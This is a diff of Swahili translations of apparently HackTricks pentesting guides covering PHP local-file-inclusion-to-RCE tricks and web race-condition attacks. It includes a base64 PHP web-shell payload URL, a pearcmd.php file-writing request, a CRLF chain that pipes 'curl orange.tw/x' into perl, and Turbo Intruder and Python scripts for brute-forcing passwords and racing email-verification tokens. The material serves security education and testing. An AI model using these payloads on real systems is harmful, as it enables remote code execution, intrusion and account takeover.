Kama inavyoonyeshwa katika [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, PHP base64 filter huwapuuza wahusika wasiokuwa base64. Unaweza kutumia hilo kupita ukaguzi wa extension ya faili: ukitoa base64 inayomalizika na ".php", itapuuza "." na kuongeza "php" kwenye base64. Hapa kuna payload ya mfano:
|
||||
Kama ilivyoonyeshwa katika [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter inapuuzia vitu visivyo base64. Unaweza kutumia hilo kuepuka ukaguzi wa file extension: ikiwa utatoa base64 inayomalizika na ".php", itapuuzia tu "." na kuongeza "php" kwenye base64. Hapa kuna mfano wa payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -570,7 +570,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Kupitia php filters (hakuna faili inahitajika)
|
||||
|
||||
Hii [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaeleza kwamba unaweza kutumia **php filters to generate arbitrary content** kama matokeo. Ambayo kwa msingi inamaanisha kwamba unaweza **generate arbitrary php code** kwa include **without needing to write** it into a file.
|
||||
Hii [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kwamba unaweza kutumia **php filters** kuunda maudhui yoyote kama matokeo. Hii kwa msingi inamaanisha kwamba unaweza **kuunda arbitrary php code** kwa ajili ya include **bila kuhitaji kuiandika** kwenye faili.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### Kupitia segmentation fault
|
||||
|
||||
**Pakia** faili itakayohifadhiwa kama **temporary** katika `/tmp`, kisha katika **request moja hiyo,** chochea **segmentation fault**, na basi **faili ya muda haitaondolewa** na unaweza kuitafuta.
|
||||
**Pakia** faili itakayohifadhiwa kama **kwa muda** kwenye `/tmp`, kisha katika **maombi yale yale,** chochea **segmentation fault**, na kisha faili **ya muda haitafutwa** na unaweza kuitafuta.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Kupitia Nginx temp file storage
|
||||
### Kupitia uhifadhi wa faili za muda wa Nginx
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** na **Nginx** inaendesha mbele ya PHP unaweza kupata RCE kwa mbinu ifuatayo:
|
||||
Iwapo umepata **Local File Inclusion** na **Nginx** inaendesha mbele ya PHP, unaweza kupata RCE kwa kutumia mbinu ifuatayo:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Kupitia PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Kama umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` iko `Off`. Ikiwa utatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **multipart POST**, PHP itafungua/itawezisha session kwako. Unaweza kutumia hili kupata RCE:
|
||||
Iwapo umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` imewekwa `Off`. Ukiweka **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **multipart POST**, PHP itaamsha session kwako. Unaweza kudanganya hili kupata RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Kupitia temp file uploads katika Windows
|
||||
### Kupitia upakiaji wa faili za muda kwenye Windows
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** na server inaendesha kwenye **Windows** unaweza kupata RCE:
|
||||
Kama umepata **Local File Inclusion** na server inaendesha kwenye **Windows**, unaweza kupata RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### Kupitia `pearcmd.php` + URL args
|
||||
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
Kama [**ilivyoelezwa katika chapisho hili**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), script `/usr/local/lib/phppearcmd.php` ipo kwa chaguo-msingi katika php docker images. Aidha, inawezekana kupitisha argumento kwa script kupitia URL kwa sababu inaonyesha kwamba ikiwa param ya URL haina `=`, inapaswa kutumika kama argumento. Tazama pia [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) na [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
Ombi lifuatalo litaumba faili katika `/tmp/hello.php` yenye maudhui `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Ifuatayo inatumia CRLF vuln ili kupata RCE (kutoka [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Ifuatayo inatumia CRLF vuln kupata RCE (kutoka [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Kupitia phpinfo() (file_uploads = on)
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** na faili inayofichua **phpinfo()** na file_uploads = on, unaweza kupata RCE:
|
||||
Ikiwa umepata **Local File Inclusion** na faili inayoonyesha **phpinfo()** na file_uploads = on unaweza kupata RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** na unaweza **exfiltrate the path** ya temp file, LAKINI **server** inafanya **checking** ikiwa **file to be included has PHP marks**, unaweza kujaribu **bypass that check** kwa kutumia **Race Condition**:
|
||||
Ikiwa umepata **Local File Inclusion** na unaweza **exfiltrate** njia ya faili ya temp LAKINI **server** inakagua ikiwa **file to be included has PHP marks**, unaweza kujaribu **bypass that check** kwa kutumia hii **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -648,19 +648,19 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Kupitia eternal waiting + bruteforce
|
||||
|
||||
Ikiwa unaweza kutumia LFI ili **upload temporary files** na kuifanya server **hang** utekelezaji wa PHP, unaweza kisha **brute force filenames during hours** ili kupata temporary file:
|
||||
Ikiwa unaweza kutumia LFI ili **upload temporary files** na kumfanya **server** **hang** utekelezaji wa PHP, unaweza kisha **brute force** majina ya faili kwa muda wa saa ili kupata faili ya muda:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### Kwa Fatal Error
|
||||
### Kusababisha Fatal Error
|
||||
|
||||
Ikiwa una-include yoyote ya faili `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kujumuisha ile ile mara 2 ili kusababisha error hiyo).
|
||||
Ikiwa ujumuisha yoyote ya faili `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kujumuisha ile ile mara 2 ili kusababisha error hiyo).
|
||||
|
||||
**Sijui jinsi hii inavyoweza kuwa muhimu, lakini inaweza kuwa.**\
|
||||
_Hata kama unasababisha PHP Fatal Error, PHP temporary files zilizouppload zinafutwa._
|
||||
**Sijui jinsi hii ni muhimu lakini huenda iwe hivyo.**\
|
||||
_Hata ikiwa unasababisha PHP Fatal Error, PHP temporary files uploaded zinafutwa._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -3,43 +3,43 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Ili kupata uelewa wa kina wa teknik hii angalia ripoti ya awali katika [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
> Kwa kupata uelewa wa kina wa mbinu hii angalia ripoti ya asili katika [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
|
||||
## Enhancing Race Condition Attacks
|
||||
## Kuongeza Race Condition Attacks
|
||||
|
||||
Kizuizi kikuu katika kutumia race conditions ni kuhakikisha kuwa requests nyingi zinashughulikiwa kwa wakati mmoja, kwa **tofauti ndogo sana katika nyakati zao za usindikaji—kwa uzuri, chini ya 1ms**.
|
||||
Kizuizi kikuu katika kuchukua faida ya race conditions ni kuhakikisha kwamba requests nyingi zinashughulikiwa kwa wakati mmoja, na tofauti ndogo sana katika nyakati zao za usindikaji—ikiwa inawezekana, chini ya 1ms.
|
||||
|
||||
Hapa unaweza kupata mbinu baadhi za kusawazisha maombi:
|
||||
Hapa unaweza kupata baadhi ya mbinu za kuoanisha Requests:
|
||||
|
||||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||||
|
||||
- **HTTP/2**: Inaunga mkono kutuma requests mbili juu ya connection moja ya TCP, kupunguza athari ya network jitter. Hata hivyo, kutokana na tofauti upande wa server, requests mbili zinaweza zisitoshe kwa exploit ya race condition ya mara kwa mara.
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: Inaruhusu kutuma sehemu nyingi za 20-30 requests mapema, ukizuia kipande kidogo, ambacho kisha kinatumwa pamoja, kufanikisha kufika kwa wakati mmoja kwenye server.
|
||||
- **HTTP/2**: Inaruhusu kutuma two requests juu ya single TCP connection, ikipunguza athari ya network jitter. Hata hivyo, kutokana na tofauti upande wa server, requests mbili zinaweza zisitoshe kwa exploit thabiti ya race condition.
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: Inawawezesha kupeleka mapema sehemu kubwa za requests 20-30, ukihifadhi kipande kidogo, ambacho kisha kinatumwa pamoja, ukifikia kuwasili kwa wakati mmoja kwenye server.
|
||||
|
||||
Maandalizi ya Last-Byte Sync ni pamoja na:
|
||||
**Preparation for Last-Byte Sync** inajumuisha:
|
||||
|
||||
1. Kutuma headers na body data bila bajeti ya mwisho bila kumaliza stream.
|
||||
2. Kusitisha kwa 100ms baada ya send ya kwanza.
|
||||
3. Kuzima TCP_NODELAY ili kutumia Nagle's algorithm kwa kuunganisha frames za mwisho.
|
||||
4. Kufanya ping ili kuchemsha connection.
|
||||
1. Kutuma headers na body data bila byte ya mwisho bila kumaliza stream.
|
||||
2. Kusimama kwa 100ms baada ya kutuma awali.
|
||||
3. Kuzima TCP_NODELAY ili kutumia Nagle's algorithm kwa ajili ya kuunganisha final frames.
|
||||
4. Kufanya ping ili kupasha moto connection.
|
||||
|
||||
Kutuma baadaye kwa frames zilizozuiliwa kunapaswa kusababisha kuzifikia kwa packet moja, kuthibitishwa kwa Wireshark. Mbinu hii haifanyi kazi kwa static files, ambazo kwa kawaida hazihusiki na RC attacks.
|
||||
Kutumwa kwa frames zilizohifadhiwa baadaye kunapaswa kusababisha kuwasili kwao katika packet moja, kinachothibitishwa kupitia Wireshark. Mbinu hii haifanyi kazi kwa static files, ambazo kwa kawaida hazihusiki katika RC attacks.
|
||||
|
||||
### Adapting to Server Architecture
|
||||
### Kuendana na Server Architecture
|
||||
|
||||
Kuelewa muundo wa lengo ni muhimu. Front-end servers zinaweza kupitisha requests tofauti, kuathiri timing. Kuchemsha connections upande wa server kwa requests zisizo na maana kunaweza kukanusha tofauti za timing.
|
||||
Kuelewa usanifu wa lengo ni muhimu. Front-end servers zinaweza kupitisha requests kwa njia tofauti, na hivyo kuathiri timing. Kupasha moto upande wa server kwa mapema, kupitia requests zisizo na maana, kunaweza kusawazisha timing ya requests.
|
||||
|
||||
#### Handling Session-Based Locking
|
||||
#### Kushughulikia Session-Based Locking
|
||||
|
||||
Frameworks kama PHP's session handler hufanya serialize requests kwa session, jambo ambalo linaweza kuficha udhaifu. Kutumia session tokens tofauti kwa kila request kunaweza kuepuka tatizo hili.
|
||||
Frameworks kama PHP's session handler hurasimisha requests kwa session, jambo ambalo linaweza kuficha udhaifu. Kutumia session tokens tofauti kwa kila request kunaweza kuepuka tatizo hili.
|
||||
|
||||
#### Overcoming Rate or Resource Limits
|
||||
#### Kupita Rate au Resource Limits
|
||||
|
||||
Ikiwa kuchemsha connection hakufanyi kazi, kusababisha kwa makusudi ucheleweshaji wa rate au resource limits kwa web servers kupitia flood ya dummy requests kunaweza kuwezesha single-packet attack kwa kuingiza ucheleweshaji upande wa server unaofaa kwa race conditions.
|
||||
Ikiwa kupasha moto connection hakufanyi kazi, kusababisha kwa makusudi ucheleweshaji wa rate au resource limits za web servers kwa kupeleka wingi wa dummy requests kunaweza kuwezesha single-packet attack kwa kusababisha ucheleweshaji upande wa server unaofaa kwa race conditions.
|
||||
|
||||
## Attack Examples
|
||||
## Mifano ya Attack
|
||||
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Unaweza kutuma request kwa **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), unaweza kubadilisha kwenye request thamani unayotaka brute force kwa **`%s`** kama katika `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` na kisha chagua **`examples/race-single-packer-attack.py`** kutoka kwenye drop down:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Unaweza kutuma request kwa **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), unaweza kubadilisha katika request thamani unayotaka ku-bruteforce kwa **`%s`** kama katika `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` na kisha uchague **`examples/race-single-packer-attack.py`** kutoka kwenye drop down:
|
||||
|
||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -50,9 +50,9 @@ for password in passwords:
|
||||
engine.queue(target.req, password, gate='race1')
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ikiwa tovuti haitegemei HTTP2 (inatumia tu HTTP1.1), tumia `Engine.THREADED` au `Engine.BURP` badala ya `Engine.BURP2`.
|
||||
> Ikiwa tovuti haisaidii HTTP2 (inaungwa mkono tu HTTP1.1) tumia `Engine.THREADED` au `Engine.BURP` badala ya `Engine.BURP2`.
|
||||
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Ikiwa unahitaji kutuma ombi kwa 1 endpoint kisha nyingi kwa endpoints nyingine ili kusababisha RCE, unaweza kubadilisha script ya `race-single-packet-attack.py` kwa kitu kama:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Ikiwa unahitaji kutuma request kwa 1 endpoint kisha nyingi kwa endpoints nyingine ili kusababisha RCE, unaweza kubadilisha script `race-single-packet-attack.py` kwa kitu kama:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
||||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
- Inapatikana pia katika **Repeater** kupitia chaguo jipya '**Send group in parallel**' katika Burp Suite.
|
||||
- Kwa **limit-overrun** unaweza tu kuongeza **same request 50 times** katika group.
|
||||
- Inapatikana pia katika **Repeater** kupitia chaguo mpya '**Send group in parallel**' katika Burp Suite.
|
||||
- Kwa ajili ya **limit-overrun** unaweza tu kuongeza **same request 50 times** katika kikundi.
|
||||
- Kwa **connection warming**, unaweza **add** katika **beginning** ya **group** baadhi ya **requests** kwa sehemu isiyo-static ya web server.
|
||||
- Kwa **delaying** mchakato **between** ku-processing **one request and another** katika hatua za 2 substates, unaweza **add extra requests between** requests zote mbili.
|
||||
- Kwa RC ya **multi-endpoint** unaweza kuanza kutuma **request** inayowaelekea **goes to the hidden state** na kisha **50 requests** mara tu baada yake ambazo **exploits the hidden state**.
|
||||
- Kwa **delaying** mchakato **between** kusindika **one request and another** katika hatua 2 za substates, unaweza **add extra requests between** ombi zote mbili.
|
||||
- Kwa **multi-endpoint** RC unaweza kuanza kutuma **request** ambayo **goes to the hidden state** kisha mara tu baada yake **50 requests** ambazo **exploits the hidden state**.
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Automated python script**: Lengo la script hii ni kubadilisha email ya user wakati ukithibitisha mara kwa mara mpaka verification token ya email mpya ifike kwenye last email (hii ni kwa sababu katika code ilionekana RC ambapo ilikuwa inawezekana kubadilisha email lakini verification ikatumwa kwa ile ya zamani kwa sababu variable inayobainisha email ilikuwa tayari imejazwa na ile ya kwanza).\
|
||||
When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack.
|
||||
- **Automated python script**: Lengo la script hii ni kubadilisha barua pepe ya mtumiaji huku ikiiendelea kuthibitisha hadi tokeni ya uthibitisho ya barua pepe mpya ifike kwenye barua pepe ya awali (hii ni kwa sababu katika code ilikuwa ikiona RC ambapo ilikuwa inawezekana kubadilisha barua pepe lakini uthibitisho ukatumwa kwa ile ya zamani kwa sababu variable iliyoonyesha barua pepe ilishajazwa na ile ya kwanza).\
|
||||
Tukipata neno "objetivo" katika barua pepe zinazopokelewa tunajua tumepokea tokeni ya uthibitisho ya barua pepe iliyobadilishwa na tunamaliza shambulio.
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
@ -217,21 +217,29 @@ h2_conn.close_connection()
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
```
|
||||
#### Turbo Intruder: vidokezo vya engine na gating
|
||||
|
||||
- Uchaguzi wa engine: tumia `Engine.BURP2` kwa malengo ya HTTP/2 ili kusababisha single‑packet attack; rejea kwa `Engine.THREADED` au `Engine.BURP` kwa HTTP/1.1 last‑byte sync.
|
||||
- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), ambazo hushikilia tail ya kila request; `openGate('race1')` flushes all tails together ili zifikie karibu kwa wakati mmoja.
|
||||
- Diagnostics: timestamps hasi kwenye Turbo Intruder zinaonyesha server ilijibu kabla request ilifikia kutumwa kwa ukamilifu, ikithibitisha overlap. Hii inatarajiwa katika races halisi.
|
||||
- Connection warming: tuma ping au requests chache zisizo hatari kwanza ili kusawazisha nyakati; hiari, zimaza `TCP_NODELAY` ili kuhimiza batching ya frames za mwisho.
|
||||
|
||||
|
||||
### Kuboresha Single Packet Attack
|
||||
|
||||
Katika utafiti wa asili ilielezwa kwamba shambulio hili lina kikomo cha 1,500 bytes. Hata hivyo, katika [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), ilielezwa jinsi inavyowezekana kupanua kikomo cha 1,500-byte cha single packet attack hadi **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) na kuvituma kwa mpangilio tofauti, kuruhusu kuzuia kuunganisha upya packet hadi fragments zote zifikie server. Mbinu hii iliruhusu mtafiti kutuma 10,000 requests kwa takriban 166ms.
|
||||
Katika utafiti wa awali ilielezwa kuwa attack hii ina kikomo cha 1,500 bytes. Hata hivyo, katika [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), ilielezwa jinsi inavyowezekana kupanua kikomo cha 1,500-byte cha single packet attack hadi kikomo cha dirisha cha **65,535 B** cha TCP kwa kutumia IP layer fragmentation (kugawanya single packet kuwa multiple IP packets) na kuzituma kwa mpangilio tofauti, jambo lililoruhusu kuzuia reassembling ya packet hadi fragments zote zifikie server. Mbinu hii ilimruhusu mchambuzi kutuma requests 10,000 kwa takriban 166ms.
|
||||
|
||||
Kumbuka kwamba ingawa uboreshaji huu unafanya shambulio kuwa wa kuaminika zaidi katika RC unaohitaji mamia/maelfu ya packets kufika kwa wakati mmoja, inaweza pia kuwa na mipaka ya programu. Baadhi ya HTTP servers maarufu kama Apache, Nginx na Go zina setting kali ya `SETTINGS_MAX_CONCURRENT_STREAMS` kwa 100, 128 na 250. Hata hivyo, zingine kama NodeJS na nghttp2 zina bila kikomo.\
|
||||
Hii kwa msingi ina maana kwamba Apache itaangalia tu 100 HTTP connections kutoka kwa single TCP connection (kukandamiza RC attack hii).
|
||||
Kumbuka kwamba ingawa kuboresha hii inafanya attack kuwa ya kuaminika zaidi katika RC zinazohitaji mamia/elfu za packets kufika kwa wakati mmoja, inaweza pia kuwa na vizingiti vya programu. Baadhi ya HTTP servers maarufu kama Apache, Nginx na Go zina setting kali ya `SETTINGS_MAX_CONCURRENT_STREAMS` kwa 100, 128 na 250. Hata hivyo, wengine kama NodeJS na nghttp2 wana kikomo kisicho na kikomo.\
|
||||
Hii kwa msingi inamaanisha kwamba Apache itazingatia tu connections 100 za HTTP kutoka kwa single TCP connection (kuzuia attack hii ya RC).
|
||||
|
||||
Unaweza kupata baadhi ya mifano ikitumia mbinu hii katika repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||||
Unaweza kupata baadhi ya mifano ikitumia teknik hii kwenye repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||||
|
||||
## Raw BF
|
||||
|
||||
Kabla ya utafiti uliotajwa hapo juu hizi zilikuwa baadhi ya payloads zilizotumika ambazo zilijaribu tu kutuma packets haraka iwezekanavyo ili kusababisha RC.
|
||||
Kabla ya utafiti uliopita hizi zilikuwa baadhi ya payloads zilizotumika ambazo zilijaribu tu kutuma packets kwa kasi iwezekanavyo ili kusababisha RC.
|
||||
|
||||
- **Repeater:** Check the examples from the previous section.
|
||||
- **Intruder**: Send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.**
|
||||
- **Repeater:** Angalia mifano kutoka sehemu iliyopita.
|
||||
- **Intruder**: Tuma **request** kwa **Intruder**, weka **number of threads** kwa **30** ndani ya **Options menu and,** chagua kama payload **Null payloads** na tengeneza **30.**
|
||||
- **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
@ -279,75 +287,75 @@ print(results)
|
||||
|
||||
asyncio.run(main())
|
||||
```
|
||||
## **RC Methodology**
|
||||
## **Mbinu za RC**
|
||||
|
||||
### Limit-overrun / TOCTOU
|
||||
|
||||
Hii ni aina ya msingi kabisa ya race condition ambapo **vulnerabilities** ambazo **huonekana** katika maeneo yanayoweka **kikomo kwa idadi ya mara unazoweza kufanya kitendo**. Mfano rahisi ni kutumia msimbo wa punguzo ule ule kwenye duka la mtandaoni mara nyingi. Mfano rahisi unaweza kupatikana katika [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) au katika [**this bug**](https://hackerone.com/reports/759247)**.**
|
||||
Hii ni aina ya msingi kabisa ya race condition ambapo **vulnerabilities** ambazo **zinaonekana** katika maeneo ambayo **zinaweka kikomo kwa idadi ya mara unaweza kufanya kitendo**. Kama kutumia code ileile ya punguzo kwenye duka la mtandaoni mara nyingi. Mfano rahisi unaweza kupatikana katika [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) au katika [**this bug**](https://hackerone.com/reports/759247)**.**
|
||||
|
||||
Kuna aina nyingi za shambulio hili, zikiwemo:
|
||||
Kuna utofauti mwingi wa aina hii ya shambulio, ikijumuisha:
|
||||
|
||||
- Kutumia kadi ya zawadi mara nyingi
|
||||
- Kutoa tathmini kwa bidhaa mara nyingi
|
||||
- Kupatia bidhaa tathmini mara nyingi
|
||||
- Kutoa au kuhamisha pesa zaidi ya salio la akaunti yako
|
||||
- Kutumia tena suluhisho moja la CAPTCHA
|
||||
- Bypassing an anti-brute-force rate limit
|
||||
- Kuepuka kikomo cha kiwango cha anti-brute-force
|
||||
|
||||
### **Hidden substates**
|
||||
### **Hali ndogo zilizofichwa**
|
||||
|
||||
Kufaida na race condition tata mara nyingi kunahitaji kuchukua fursa za muda mfupi za kuingiliana na hidden au **unintended machine substates**. Hivi ndivyo ya kuishughulikia:
|
||||
Kufaida na race conditions tata mara nyingi kunahusisha kuchukua fursa ya nafasi fupi za kuingiliana na **hali ndogo za mashine zisizokusudiwa**. Haya ni hatua za kuifuata:
|
||||
|
||||
1. **Identify Potential Hidden Substates**
|
||||
- Anza kwa kubaini endpoints zinazobadilisha au kuingiliana na data muhimu, kama user profiles au password reset processes. Lenga kwenye:
|
||||
- **Storage**: TAFUTA endpoints zinazobadilisha data inayohifadhiwa upande wa server badala ya zile zinazosimamia data upande wa client.
|
||||
- **Action**: Tazama shughuli zinazobadilisha data iliyopo, ambazo zina uwezekano mkubwa wa kuunda hali zinazoweza kutumiwa ikilinganishwa na zile zinazoongeza data mpya.
|
||||
- **Keying**: Shambulio zenye mafanikio kwa kawaida zinahusisha operesheni zilizo key kwenye kiashiria kilekile, kwa mfano username au reset token.
|
||||
2. **Conduct Initial Probing**
|
||||
- Jaribu endpoints ulizotambua kwa race condition attacks, ukizingatia mabadiliko yasiyotarajiwa kutoka kwa matokeo yaliyotarajiwa. Majibu yasiyotarajiwa au mabadiliko katika tabia ya application yanaweza kuashiria vulnerability.
|
||||
3. **Demonstrate the Vulnerability**
|
||||
- Punguza shambulio hadi idadi ndogo ya requests zinazohitajika ili kutekeleza vulnerability, mara nyingi ni mbili tu. Hatua hii inaweza kuhitaji majaribio mengi au automation kutokana na timing sahihi inayohitajika.
|
||||
1. **Tambua Hali Ndogo Zilizowezekana**
|
||||
- Anza kwa kubainisha endpoints ambazo hubadilisha au kuingiliana na data muhimu, kama user profiles au password reset processes. Lenga kwenye:
|
||||
- **Storage**: Tumia endpoints zinazoshughulikia server-side persistent data badala ya zile zinazoshughulikia data client-side.
|
||||
- **Action**: Tafuta operations zinazoibadilisha data iliyopo, ambazo zina uwezekano mkubwa zaidi wa kuunda masharti ya kutumika ikilinganishwa na zile zinazoongeza data mpya.
|
||||
- **Keying**: Successful attacks kawaida zinahusisha operations zinazoelekezwa kwa kitambulisho kimoja, mfano username au reset token.
|
||||
2. **Fanya Uchunguzi wa Awali**
|
||||
- Jaribu endpoints ulizobainisha kwa race condition attacks, ukitazama utofauti wowote na matokeo yaliyotarajiwa. Majibu yasiyotegemewa au mabadiliko katika tabia ya application yanaweza kuashiria udhaifu.
|
||||
3. **Onyesha Udhaifu**
|
||||
- Punguza shambulio hadi idadi ndogo ya requests zinazohitajika ili kutekeleza udhaifu, mara nyingi mbili tu. Hatua hii inaweza kuhitaji majaribio mengi au automation kutokana na wakati wa kuendana unaohitajika.
|
||||
|
||||
### Time Sensitive Attacks
|
||||
### Shambulio Zinazotegemea Wakati
|
||||
|
||||
Usahihi wa timing ya requests unaweza kufichua vulnerabilities, hasa wakati mbinu zinazoonekana zinatumia timestamps kwa ajili ya security tokens. Kwa mfano, kuzalisha password reset tokens kulingana na timestamps kunaweza kuruhusu tokens sawa kwa requests zinazofanyika kwa wakati mmoja.
|
||||
Usahihi wa kupanga wakati wa requests unaweza kufichua vulnerabilities, hasa wakati mbinu zinazotarajiwa kama timestamps zinatumiwa kwa security tokens. Kwa mfano, kuunda password reset tokens kulingana na timestamps kunaweza kuruhusu token sawa kwa requests zinazofanywa kwa wakati mmoja.
|
||||
|
||||
**To Exploit:**
|
||||
**Ili Kufaidi:**
|
||||
|
||||
- Tumia timing sahihi, kama single packet attack, kutuma concurrent password reset requests. Tokens zinapoonekana kuwa sawa zinaonyesha vulnerability.
|
||||
- Tumia timing sahihi, kama single packet attack, kutuma concurrent password reset requests. Token zinazofanana zinaashiria udhaifu.
|
||||
|
||||
**Example:**
|
||||
**Mfano:**
|
||||
|
||||
- Omba password reset tokens mbili kwa wakati mmoja na uzilinganishe. Tokens zinazolingana zinapendekeza kasoro katika uzalishaji wa tokens.
|
||||
- Omba password reset tokens mbili kwa wakati mmoja na uzilinganishe. Token zinazofanana zinapendekeza kasoro katika token generation.
|
||||
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
|
||||
Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) ili kujaribu hii.
|
||||
|
||||
## Hidden substates case studies
